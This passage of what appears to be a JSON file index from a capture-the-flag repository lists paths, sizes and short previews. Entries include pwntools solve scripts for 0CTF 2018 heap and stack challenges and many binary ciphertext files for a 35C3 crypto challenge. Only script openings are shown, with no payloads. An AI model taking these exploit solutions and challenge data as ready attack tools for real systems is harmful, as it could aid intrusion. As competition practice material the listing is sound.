    "chars": 2284,
    "preview": "from pwn import *\ncontext(log_level='debug')\nDEBUG=1\nif DEBUG:\n\tp=process('./babyheap')#,env={\"LD_PRELOAD\":\"./libc-2.24."
  },
  {
    "path": "2018/0ctf-quals-2018/pwn/babystack/solve_babystack_ref.py",
    "chars": 2501,
    "preview": "#!/usr/bin/python\nimport sys, string\nsys.path.append(\"/home/cpegg/roputils\")\nfrom pwn import *\nfrom roputils import *\nim"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/challenge.py",
    "chars": 3271,
    "preview": "#!/usr/bin/python3\n\nfrom BitVector import BitVector\nfrom random import SystemRandom\n\ninverse_error_probability = 3\n\ndef "
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_007",
    "chars": 166,
    "preview": ">pȺa.Tlqbd\u0012;\u0018Rw\rꏝVYآ1QX\u001aӔۋJ\u0013\r\bMs۠ /[\u0004\u000esg\u0003WFWGg5_*|B4nE\u0011\u0015G\u001e1;+h4F\u001fq{\u0018\u001e9\u0010\u000bZ%\u0007\u000b*aVpVI\u0014\u001ea _Ԍ\u0016\"!|w\r\u0014*%$\u0015\u0007e\u0001\u001aV2]7j\b\u001e.}yW_Ȭ\u00126"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_012",
    "chars": 165,
    "preview": "/i\u001eX\u0010X\u001a:\u001f\"\u0007\u000f]e\u0013jj\u00133N\fW}<\u001dvor-q%P\u0002~v\f@p\u001eLr$\u000e=?\u0004'n~]jSٹ\b؀2;:K;læ\nZ\u0012y4\u0006K`=\\$h\u0005&Da\u001e\u0010'\u0002`<78Fa5\u0007̲2n[M\u0005\u0019'܆cί\rV\\KD\u001azXyĊ\u0003\u0017w\rPC63Y"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_016",
    "chars": 148,
    "preview": "qT\u0013?1\u0004;c|aF8\tC\u001dױb7Uźnxl?k&/T`)\"w'[K|),A-#S\n?H\u0004H<)\u0016Jn\".)Fw'3{/o9\t=p}B\"i\u0015\u0002!n#O ;?\u0016Q)\u000f\u0014z\t\"\u0004\u000f\n95\r\u0014\u0014wstڹ;V\u0004\u0012Zeǀ|\u0011\u0005<F8V٥\u001c>\u0018K3>"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_017",
    "chars": 144,
    "preview": "mަ\u000eehWU\u0005߆\u001cj\rQN3NJ#\u0016\u0004?j:vn'\u00036ه˱;a!*l! |Gvp0}FLQ!>,'Z^mk\u0003\u000e;m\")\u0014~`c\u001exrS\u0015&y޾B߷m:!]7/ByCz;.5\u0002\fP-vJ!s[Y\u001d\u000fqai\u0004-\u0017q\u0017Ɩ 9\u001cA[ӷP:mp#("
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_019",
    "chars": 153,
    "preview": "N<\u0005LU\u001dC^'\u0007t\u001cx\u0004[\bQb\u0010-:\u001bQ}EHs\\\u0014;t5\u001d\fC\u0011\u0017;ޒuFZ\u0013X3\u0005S3i\u0007۫y\\\u0006|b|eĴ9(Q+\u001eUN\u0013Hd蚣<˧1I9E&\u001dWqQ]B\u0004W5_~`4;Pkt3c\u0011$ܩ曣!\u001e\\(Su.ϖFi6a\u00163ph;!YM"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_020",
    "chars": 169,
    "preview": "^0@$\u001d\u0005\n#\u000eW\u0014cE\u001fnR\u0010\u001fMmzWyzM4I:Ȇ\u000fz[\u0001[?Z7t\u0007Dv\u0012\u0013z\u0005\n\u0015硎VFsڄ\u001b\u0006k~\u0018F&w)Q\u0012L\u001e!ShGZu\u0010-kr\u0011[\n3X\n\u001a=\nc)\u000eKDăGsb\u0011F\n=|mlJ\u001euE\rq\nT{]$\u0012_z\u0014$)GC"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_023",
    "chars": 163,
    "preview": "ED\u001d\")po\n\u0017\u000b+#\u00122rуJ\u0016\f=\u000f\u0014.Sj@\u0015\u0011mSPFti\u0017tcՓ58ܩ`]=xAlu۳w\r\u0015h\u0006I2KhRe/:ఴzDb'\u001e8d, \u000e\u001b+\\n7Or\u0002Ju \u001a\u0018a\t-(\b\b\t.\u0018\u0010և»Wu)}؅\u001a\u001e]\"1/U\fgl\u000eJ}<\u000by"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_026",
    "chars": 157,
    "preview": ")Ao?]H[\u0007C-v\u001a >,\t^%=\u0005ם;&7$\u00040Cͦ= \u000b%Ek|ze0/4E!b&\u0007L\u001d\u001cWz{O,\u0013:7]d\u0012 \u0015`7cFXu̴7\u001fr4\u000b̘x\u0004\u0005!Ȼ%L&(=\u001a{9-t\u001b)n[\u000fd+\"*vf1~\u001bv\u001a+ۃ]Kzo\u001c\u0004\u0004q]\u0002\u0015r"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_029",
    "chars": 160,
    "preview": "wpnD߼\u0015\u0011\\/E\u0014NF\u001c\u001b\u0013\u0002W*9]w\u0004G2,3q\u0004\tѢ^d+0*\u000b[Avu\bd(\u0014F)9\u0014#r8~:ry`4x匈ZN\u0012&\tt14\u001f\u0007eLU8%itZ,\u000e#PӮ\u0019߾c㻥ۘP\u001b=\u001d\u000f:q\u0002>¾e\t\u0017U iu\"\n\u000f9<\u0018u΅o%U\u001c\u0006MD"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_035",
    "chars": 149,
    "preview": "\f\u0019\u0007\u000fڽcr,,·NP3͹B۱x\u0005\u001en#Iz\u0002欠Ҝ\u001fOZ\\)9)Sw\rQ\u0010B@'\u001e\u0016͡%qd~}GH:r Pp\u0002O\u001dq\u0004\\\u0010b٦\u000bËz\u0004nR%M%v{\u0006'ۙPXo\u001eK\t[n,\u0014^QBD\u00141\u0013?\u0018-tj[-N+\u0015s1گ4x}SyrBFCi"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_044",
    "chars": 143,
    "preview": "FU\t?2Bn4ʍ\u000eq3矯?-1;U\u0017=0׊R6i]h\u001b\u0019q|\u0018*97݋pii\u000eh\u0017Ggg\u0015\u0006ϵ]<3*\u0003SPYy-\u0001\u0014jȬT\u0003\u000b?&\u0011s̤\u000f0d\u00127Dcd5]\rWv;\u001f\u0001\u000e7\u001bՑ:G\u000f\u001a8ʑn+)T0e4R\u0002fV+K\b,\u0010UD+U\u0019\\\u0016$"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_050",
    "chars": 161,
    "preview": "\u0014N\u0018:\u0018N2%Zg>ȭ\no9H\"yJ2?%`\u0001\u0001Ӽ>\u0007E*\u000184_b\u00101uK.c\u000b$^m{\u0019I2U\"zv9t1Jv\u0017D\u0018L\u00018(Grҁ~1%_>\"[iKA\u0019թͬ[H0\u001cw\r\u0013\u0019)*|\u0010¿\u0007);.x^V_ҭڪ\u0005$P\u0010qz*'56BkQ("
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_051",
    "chars": 165,
    "preview": "'\f!Q[v˅Frd:??\u0001W3\u0010U_ӛm5S'C@n'[\ry\n \u0016!F`ab=\u001b7\u0018}q4t:\u0007L\u0016b<\u000b\b\u0007\"NS (x R^\u0002+.\u0010i\u0001\u000b{v$$\u0019-Q6\u0010\u0016r8S*7\n\u0011\u000f)l\u000e'\u0004\f\u0005cT\u0002\u0003\u0017Qy2:\u000e(hk[6%YFo'\u0016rʺ"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_057",
    "chars": 162,
    "preview": "k#Mӟ7\"vn\u000f\u0017\u00171R\u0011\u0004sX)F5eLj\u001b\u000fF8\u0001ᥟ^-\u0017q\u000b݀l;v\u001d 5{\n~kc}9Twv%D\u0017;|[ /@\u001ex\u001dKm\u0005)F2hbe2\u000fH)wIch=7`\u0013/ȌwPW^d\u0014/zc\u0013:'/\"!\f PQ\u0019fEk\u0001`dT3\u0015˔ui\r"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_062",
    "chars": 156,
    "preview": "!\u00069oA4>\u0017oB8ؤGP\b\u0013uGY+)cz9\\\u00010/\u0016 \u0001\u0016G'/hߵF\u001e8A9zNm\rF\t\u001dF\u0013z\u0006/,\u0002KUYge\u0004\u0004(\u001dA%5`D$\u001ef#UԸQ)U{+AJAWzQP\\mᩃ$h\tsFȿ\u0007\u0007UeKKMu^\u0017Q]ףC:Hz\u0003,pVѢf"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_064",
    "chars": 166,
    "preview": "\u0013KO\u0006\u0013h!0L5`EgsD\u001e<]&\u001c\u001f\u0013Wz$K\u0016ɬ=sV1E\u0013\u0002/\u0006\b\u0011ͣ%>W\u001f؇\u001awd-~O,\fpF7qmト>\u0007娈b;B\t\f\u001bh)I\u001dwf\u001bQA\u0003\r9EŇrm-\b8B8spgH!\u0011/G}\u0012ȴo\"\u0002/\u0011jS\u0006>\u000e磌rS>r}QKO"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_065",
    "chars": 152,
    "preview": "85_\u001bϷ^q{\u0010H5&@(uN?׭=\u0006}O(0r>\u00141\"Bs\u00014,5\u001d~vDurl;\u0012ޞEC\b:]\u0010\u0003\u0018\u0004\u0017GJg%r?㢱1Xdb\u001f\u001aQ=Aˏ\u001d`C|u\u0006\btf4'坄ݛS\u00122p.R`܊q4L\u0005O[!nYX |S9\u001e\u001cH%HNˍJg\u0010Ԧ|"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_069",
    "chars": 162,
    "preview": " :s'ϼSomvdj\u000f,R\u00168\u001d\u000eɟ\u0019\u000e-Iɏ֢\u0019\u0019X׉1bV\u001f\u001aSR\u0010\\4@19Ǚ\u0019+\bE\t\\j( $\u0012U#/|b˲\u0003F>^ܢ2S\u001a\r)6Tm)<;iR+i\u001338m\u00185E9&&%od! \u0015Wh)+L!]\u0003\u001ew}\u0017糦H\u0004*wg8%/9:"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_072",
    "chars": 168,
    "preview": "&C\f ^(\u0007f\u0015]A\u001co\u0010n\t?2#c;^8\\B\r9(\u0005<~Ã)J{ \u0011\u0016Ot1)m$L\t_A㥡,J\u001aC)湢\u0005\u000b#\u0013L2vyԿk΍h\u001a5\u0015Y\u001b,<\rQyGsaŒ\u0005JZ@ɔn[jf.U\rfZj\u001390v'}K]\u000bfq:]wrmu}ٛ\u001aM3W"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_073",
    "chars": 168,
    "preview": "b)*ܫ\f\"yJT\u0019iIh[0MR\u000bS8nYx;Y^\f!9J`j\n{ \u001fӭ)g\\0ʞc4S7\u000fq,<amm**=$b\u001eݹ\u0007ó3;~[}\u0007ʿ=m/Z\u0018,\u001bL1.\u001cxU\t_\u0002\br\u0002.aJ҄\u0016dd[Mˇwf~lo,=NN\u0018\u0014\rS\u0001x:Q\u0014J\u0007e$"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_075",
    "chars": 156,
    "preview": "/9\u000b:kb\u000eY\u0014\u0015\u0012JH-Oc\u000eu=)\u000fZѼ\u0004硼\\\u0006ݡ=ӌ\bm\\$~\u001e\u0011\u0003?XpD:Bb\u0004xe$`bn{zF\u001aQ9\u001bWw?\u0017\u00038ZO^\u001d\bMYd;\u0018mZJaU\u0013\u0019NoQ%.񬪄\n;E#g7=|'\u001e,?P`C\u001cF͘2\"\u001ecc\u000e'u<VS'k\u0011"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_076",
    "chars": 146,
    "preview": "\b2\u0011=\u001d\u0016Ȉeʹ-\u000e屈N{m\u0018>5~>L7y國\fHdݞiY(8\u0005nC\"\u001d\u0019&D6~ѸC\u00167\u001cZ\u001aЁ\u0016\u0018,j\rK<\u0001)G\u000b}Fŷ8!<RM\u0018f\u000bd:ky:\u001ekA+\u0015f\u0012?Eoe`H5n\n\u0019؃vu\u001b~'|`\fVʄ>3յ\nx\t>io^0 "
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_078",
    "chars": 149,
    "preview": "9\u0005ؤ<\n\u0011\u001fﳮ0\u001b{\u001cw%vt1'\u00024\u000436G݆SAo3@y\u0005R\u0001WH.'ӄ#/%AEo\f\u0002zz&\u001a[\f$RQp 㽗6\u0018'Yu}ykH(\\V\n;\u0005\u001cb\u001b\u001c\r1yԘS^q\u0018F\u0007]0DنL\u0015(I䔶,ヲW\u0011'p\u001cLDe0-J6\u001f1\rV\u001e߳\u0002J\\"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_079",
    "chars": 167,
    "preview": "\u001az\u000e,\u001eh?\u0019Uӆ\u0005aKloA>C\\ث^\u0003j:e\u0003wi\f\bhUF9}@s\u000e'\u001ba5\u0001\\PuɦB`S3+1^YJ[2\tv\u000b\u001b'v-@\u0004~]vjXC\u0006\u0013(c\u0016\u000efk\u0003qEˎ#\u0001v\u0005ELp\u00190\\?\u000b=u9β;\u0002N\u0010haBVnE,Ҫg?\u0003\f\u0017h"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_082",
    "chars": 147,
    "preview": "b!\u0013tW(,8\u001fZ0R\u0001]LAZ*}w\u00033\u0016^ے?5ѐ:;\n\u0014\bx,$L͍a_;Ø\u0001Ή\u0019G\u001a>\u0012\".*\u00061\u00011\u0016L\u000e\u0001\u000f<K\u000b\u0005\n\fNs=ƓjVjߠD\u0001!\u0005.\u0011?,\u0016#Pxe-7V\u000fHf4P cyIc\"j\u0010j\u001afV6\u0005ڶ)5$\u0011SVaDt"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_084",
    "chars": 170,
    "preview": "ۻ\u0011=q\u0018\u001e~(F\u0013=\"Be.U01\u0011\u0012\u000fw\\5c\u000b-\u0011Xͅy0tŸ\u001fdK[ĐQMJ\rfPTW\u001cdش;<Q9hP.I\u001f;铒h\u0010\u001d\tmt\nU\u0018\u001b\"D9\u001e\u001fK\r\u0003\r*D\u001aWz\u0014\u000fH]\u001aŌK/M%|@Ȟ)-[$;n\u0001xn:|+A?5\u0015\u0013Bz\u0013}"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_088",
    "chars": 162,
    "preview": "d2~\u0019h9رa\u000fO)V\"[zo!,~9Ij‡KJn&p]t6޴p`Ȍ/{QMS\u000b\u001d\u0017zFtrpb\u0014(u6: @߇dA\"*?Ew\u0001uT#YP2]Mwg-aj9K\u0012@s,\rc'2䭛C͡@\u0011\u001a{#p\t\t[\u0012\u0003\n\u0018\u0011E4\b\u0014\u0013,\u00140J_E؂\"\u0011"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_089",
    "chars": 151,
    "preview": "FT\u0006$Db\r VK#\u001db=E0\u001a\u000fi\u001ed,\u000e<\u001bS*\u001c_\u001b{m\u0015\u001f\t(\"|q\u001b\u0006Q\r\fgWUty\u000bk\u0011eǥˋ9| i[ިڄiqu1Qd)uL\u0004\u001d\u0019p;\u0016Ekdv̾ʲ$cT\u001bL\u001e5^N\u001erE\u001b\u001a\u0006)la݅\r\\Y\u001e\u0001\u0016\u0005zN \u001a\u0006.+`]X"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_090",
    "chars": 156,
    "preview": "1;\u0010\u001eM\u001fi'\u0019>\bEΆN6\u001d9y\u001fȑ\u0018%(Kx2\u000f\u0003L{T3u\rtd-S!\u0018LR[ra>]=7\u0003;\u001bX/[]Z,\u00119;<\u0005`.\t:\u0006\u000e\u000eC񏶐Ij'H\fiPՈ+\u001d6s\t`7\u0018ZC}DEȵ(j/UYhH\u0004:Y%5f\u001a&uRZ\u0017\u00070\u0014&\u0002\u000e"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_091",
    "chars": 159,
    "preview": "C.\u0019\u001dcv\u0002r\u0007$kx\u0017\u001ea_Yt\u0003i\u000f\u0001g*^PjR/(E!p\"\t\u001d;˭\u001c~삒v7Đ7\u001d\u0013zન/*t߇B5=驐bϠ;̈o\u0007\u001f\u0017\r۴+x\u0019E\ff$C\u0011$0_ouǢvfk\u0016{cJ\"&'\u0019ʜߊHY\u0007\u0004 \u0016[\u001aK\u000e\bS\u0017\u0005JSR\\vX'SIK/"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_094",
    "chars": 151,
    "preview": "ZcTH}.U:nHꯛVf\u0013L'Cp\u0017\u0001Z\boē2\u001fi0\u0013\f:5g\u0002IxC\u001b\u00130hu\u001c\u0003\bĴG٢<3Jݗ\u0019\n8\b_tz)lO\u001b3qR~~O\u0005n/~@\tBk7g.\u0014\u0017xt\u001aYqx#DlNW><\"\u0014Q\u0003&]n{Jؒd/?M\u001a qrN\u001a/\b"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_097",
    "chars": 156,
    "preview": "xi\u0012E-\bc\u0005y\tVM</\u0007\u0003!Ɲ!T#_x*\u0002}b\r\u0019{UpDbp\u0010Y7\u001f'ڭ\u000b\u0003qnw͎p\u000b+\u00053QKA/r$,KvؚyU\\z|oa^L6rAL[\f^݁+paF Rofac<uَ\u0010Ψ?\u0016TWz\u001eY\u000e8\u0005*s;\u001d_+\u0017*}@\u001dFa䎩=p"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1000",
    "chars": 160,
    "preview": "r\fSҢ\u0007\u0003\u0019rq4u&/i\u001a\u0003}Oף` 9\u00140<!‗c? BT\u00167O\u0010\u0007\u000bB`A+Z\u0012Q3R&}\u000e\\vLJrN+L ޛ\u0011=,\u001eaBfk%\u0005%\u001b\u000b)\\3{\u001d'D\u0004e.&ELX\u001a\u001a\u0012r2,,\u0014\fZ\f=@[}U]˕\u0010_\u0005\bް\u001f\u0013Jcd\u0004R\u0018\n\f"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1001",
    "chars": 157,
    "preview": "B%,QSX(3Ľ!Z\u001dw,h̕k>D3\tk8_;}t\u0017}`f˚uj\u000fRnͦ\u0018տƏ6fMu@\u001cI\t:T\u0011\u0018l\u0012W\u0002g?9!ll\\\u0016\u001es-ͮ3\u0006k.n3Rf\u0005g>\u00046C\bu\u0017=0\npʕ\u0007\u000f\u0019\nvLW(\u0013`l*μ\u0005 E\u0001\u001cƣn4lz9hSF\\"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1007",
    "chars": 169,
    "preview": "11\u0014\b\u001eT\u000enȵ[M\\%okvO2#kS*w>wI\u0012\u0018J0es]}R`%G͒1g\nnfd^8~ߠ.?>\u0018e$,ۖ;ө۟\u0012+\f\nqƀ'\n<r1z\u000e8TDyA\u0016V]N2SQ\u00013\u001a0d\u00046ph~7V\u001coF^dF0\r|bB\u0004(\u0014\u001fNًf,2\tW\\"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1009",
    "chars": 155,
    "preview": "I%S\u001b\f{G>@75[6cr\"X\u001a֚M\u0014[__n\u001fНv\u001aͨ󾤁1#n⺋{/1\u0013W\u0015\u000bņ\u0002\r\fYsw\u0001\bQ$\u0017/\u000fI\u0001$;`*\"Q\u001ef3X\f\u001b-\f}T>s)\u0003߉\u0013Ëyvۊ\u001a\u000e@÷\u001b-d\u0001\u0002fn^\u0015\u0006\nDi/\u0018nʴ\u0007׊O\u000e|\\Czd\ny7qs"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_101",
    "chars": 170,
    "preview": ";\rW\u0006-P\u0001\u0001F]E\"x|ډ\u0001zC;o a^\\k;;fP\u0019o`PsU\u001bp'#aGd\u0019A҈\u001bUvz\u0006\u0018xYU9OϤ=dYd+Z\u0016h+5j \u0013ΐ\u0005(/z\u001c`cn\u001aÖc\u00068|~FoGc\u001eMF?I\"cc\u0011\"SgsIXW.]FIt5o.,q\u0019"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1012",
    "chars": 168,
    "preview": "\u001a2қmQ\u0006d\u0013\\S(\"0vܤ\u0019pWى6r\u0018qV\nw:\u0006\u0002P-s8_!g\u000eͰE;\\\u0003-ngԬ\u0018oJy\\\u0006&ΗpT͏\b2_\t[\u001eiίkvU?g1w\u0017s{|\n\u0002efޓ\u0003\u00168t*d\u0001={\u0011̽p\u000ez{ϩ!9w{܇iDS\u0015a\u0006fkya\rd\u001a*S\u001aO "
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1018",
    "chars": 165,
    "preview": ";ev9\rx\u001e\u0006ﮇR\u001fۆSR\u0019hZ-^[9)o\u001a;V.۳GpG'Ntf\u0002M\u0010$J6iv\fzi\u0012F5s텖R7FJ.7{3\u0015%jݹwR\u0017P\u0003\u001d)5\u0004\u0014b\u001bkp%<Zѹ_wZ\u0012Fq|R<n0;6}O^u\u0004q's\u0002\u001dI{Y(TN \u001c\u0015U8\u001f\u001e\\3#"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1021",
    "chars": 147,
    "preview": "?>Z\bf5J܌\u0019]|'\u0006zbOx\nr}e\u001e\u0001\t\u000fxwuY)+ᨷhJa\u000er\u0002\\:~*N\u0012\u001a׺x+IxZ^\u001a\u0018Y\u0002\u0001\u000blS\u00128SuAcD<fF\u001f\r˫]Desg|%\u001aθ(jHڲ\u0018}.\u0010ҟ\b>DXh+\u0018{%\u0017\bpW\u0012ޮ\u001ab -6{Ʒ<c\u000f{(\u0002U"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1024",
    "chars": 160,
    "preview": "+ۨU}?1\u000fLݸAVe\f\u0015p4\\#\u0010\bhT.\b\u001b&ST\u0003PʭB\"{&Dq\t\u001a5\"dz\f3Z\u0015V\u0005_0CBIi\u0011OMC,\n<1-t@y\u0002X\u0007Y`c57]|0.\fi#\u000fA䪠z(P,,}T61\u0001wӢG7?\u0011O9%i=H\u0006kt +n~\"6S"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1032",
    "chars": 135,
    "preview": "j7U|Ԣ\u0004\u0010*\"ֵ(2\r+kDuC}]/\u000fATؓ'ks\u0019Gx\nf^6؉i`P\u00105tXBhyri eiQ!w}bg[a\u001bg\u00145չ&_e\u0011M\u001d1\bI\u0010=_P\\B]'!n\"{M|\tBz\u0011thpᆧI%BqWաt<\u0005\fk۾\b\u0002כR3`)g\u0014L\nΨ"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1034",
    "chars": 152,
    "preview": "3d\u0017ؚ\u000fCcٻU\u0010\u001d\u0003CY6\u0001\\OeI;\u0007z/&Hd^ۣD\u0014o\u00025ƧfΖ&8{\u0010\u0014ĦgY%E\u0005-\u0017\u000bKN2wj'\u001c\u0015u,\\\u0016vhöXL\feșG'@5\u0004UkM\u0005A<.[1\u000e t\nO'8i)YlrfzmP\u001d#jKuM\u001d`&-{:1\u0011_z~>J"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1039",
    "chars": 163,
    "preview": "]#fp\u0013\u0011Piw]aE k=\fd\u0015W>r:\u0014.\u0015\b!8k\u000bsAů)OF-\r=[Y'o\u0013\u001dT}S\u001c?\u0007KJ&^\u0006\u0019\u000f*Dc6\nU\u0002I)ӗ*\nA\u00031\u001fF\u0015̕\u0014ج,6\u001cࣁ#w$\u000b\t)zH\u000eϺvHѽ'Wu_9\rM\u001a\r\u0015`0\u001eάg\u001a8\u001d,h{=\u0019z"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1041",
    "chars": 160,
    "preview": "\u0012k\b5tU&9\u0003,dN\"Q\u001dPnO\u001c\u0013ΆI\u0010nK306w4)\u001b6c'\u0007\u001f\u001csn\u0019vtV0uԴ\u0015s!\u001cɑܹge3\u0018\u0002\u001e\u001f\b\\<{\u0001g\u000f\u0011X\u0013$\u0016>~5Pa⺺Tnjn\fc\b3\u0007Wݾ>EIꋦYվ\u001eTŽ&\u0002\u001e\u000e\u001e%lZ܃GWdv\u001bϫiC\u0002z\u00168B"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1042",
    "chars": 164,
    "preview": "7\u0016Bo\n`jK!\r\u0013TɢS2\u000f\u0006\u00036\\/9*\u0012\u001d\u0018LMʶg8YX\\Z\"\n\n\u001b09=;^J,*k#+\u0010P\n\u001e֛v.s*)\u0011$IB-NJ\u0006J\u001fO\" \"\u0006s?jx*\u0003b\t\bH\r\u0011T:\u0006*\u0015C#5\u0018V\u0016R\u0017(>,Y=&_Z\u000f<U_j<\u0002cۦ\u0015ҿvs"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1048",
    "chars": 153,
    "preview": "1L(WM\u0015d.\u00068\n^2\u00171\u00166`c1>:\u0002\bkwO5aW{:\u0001O\\<H}rhMNʇ\u001ejT,}/tk\u0004j\u0014\u0016aSh-}f^_цfbcy |΀)r\n9dfu]uoD\u0011-Ny\u0007q\u0015?^\u0013z\u001dJ\u001e\u0001-R#O\u00104׊Id>\u0018W \u00018H\u001cߞe\u001af"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1049",
    "chars": 157,
    "preview": "gN\u0010ioD+U\u0012v^o\bfnÛ\f\"ke\n9BL6Xi9aF~Ё7m\u001a>\u0002XCh\u0015|a\fG,2\u000bE}zI~)ʹ g峟\u0015c\t7\u000fn[Y\u001cO\u0006,\u001c~^\f$\u001fj]n%\u00181\u0018H\u0004H\u0002\f\u0017\u0013\u000e~\\#\u001b؞A X(\u0019e0R>\\w\n/\\c\u0015O ?E~vO"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_106",
    "chars": 158,
    "preview": "a?7\u0017S&,by\u000b\u001ckĔ\u0016y\u001f}\u0007u\u0003\u0014;p?E\u0017\u000eEAX\u0002ч\u0016ktWT\"f\u0011}*jKS_\u0011n>8BPkw\u000fO4v4!M?DqZnv!m\u0011\f`>WW2Z0hO\u0006d\r(\u0007\u0018k\u00198*t3~*Qul\\\\}$\u0003*\u001c\u0007\t\u0004m[l{?+8V.d"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1063",
    "chars": 162,
    "preview": "k ]\u0010DF\npZ\u00104.]5\u0018«[\u0010&֓wTm\u0004\u00023O\u0001*yi\ny\u001ay>?B+\u001c]9\u00031_rxaM(7cM\f55A-~jncܼx\u00133\u0011,a\n>;M='\u001fI\u0012(Gz<[m_%+LYA\u0012P\u0016F`@C&\u0005\b(Y\u00051\u0001\u000fK:'b%\u0001pB\u0005yB\u001a\u0015b"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1065",
    "chars": 160,
    "preview": "8O\u0018\u0014\rvY8\u0005\u0016E\u001f\u001flv~}E^,fn'\u001a1=۳'{CYst<\u001cCRn\u001dDLȹG\u0007-W5I\u0001\t\u001b*\u001d4j2|[\\b\\މ.\u001d?vsS5\u00144\u001e+Y`(\f}\rzpP}\u0014\u0013\u001f\u0014M@~\u0002\tYU^\u0011_1E\u0018\u001c.Jlh.U0W\u0011D#\u00101\u0019C}+f"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1069",
    "chars": 164,
    "preview": "\"LÄ|$ixQ\u001fWv\u000fR\u001f\u001e@ƒX\u001fMsOƜ4\u0002\"G\u001cq A\u000f7\rik!\u0017l#A\u0007\fuap\u001e\u0007\u001eq!Ez%r M9>\u001a͞OTj\u0013D'V\u0013E#bt|uW\r (>%\u0003\u001c\u0003y\u001cO\fZ\u0012gt'\u0011\rP\bTG\u0017bV*ic؃r\u0006p1\\tַLrXh3\bs"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_107",
    "chars": 146,
    "preview": "\u0019KB\fr n\u0011\u000bT\u001a/$F\u0002s\u0013\u001bz2*-I(0W8ҥʎFJ5s\u001bA\u00148I\u0007p6s1D\u0016\nm>\u0001SZ]i\f\u000e9\u001d|Y\u0018\bWпe\u000168*AF\u001fl_\u000eiyЏ0S;]c\fx\u001a\u0011\u0015!\u001d\n\"2EMĻ&zR5'cThFXOߧ(q\u0005:0\u0014bvFtg\u001f"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1074",
    "chars": 149,
    "preview": ":l;o;`\t\u001e=,%xBS(~.M1q;7:\u0016\"\"u\u001fҧ\u0005\u0016\u0019ȈG'/0a\u000f=]\u0005\u001692?JπU_k\b\u0003˹\u0018fU=Xw}j\u001a\u0010c#I*ak\u0010UGrؕ\u0003A\u0014S[7j[Oh\nE\u0013uB\u0018\u0018v됾D3ٝMa2;ٽ\bgB\u000f4>\f9\u0016.f_'·\u0003?\"\u0018"
  },
  {
    "path": "2018/35c3-2018/crypto/post_quantum/data/ciphertext_1077",
    "chars": 163,
    "preview": "kM⍘Y|zIT\\\u0003x\"vhpdA\u0007^\re1\u0006Pϰ\\r\u0001nHJ\u000boV6i\r4ISh}\u0011*Ϣ)իe\u000b\u001c%i\u00180DkY\u0001\u0002.mJe>?,ia\u000e5Ko$h_I\u0014g\u00078\u0004\fXT,} B\u0010\u0012[<yn\u001b-\u000f\b(D.r~a|3y1\u001dOU\u0002\u000f\u0007O~_"
  },
  {
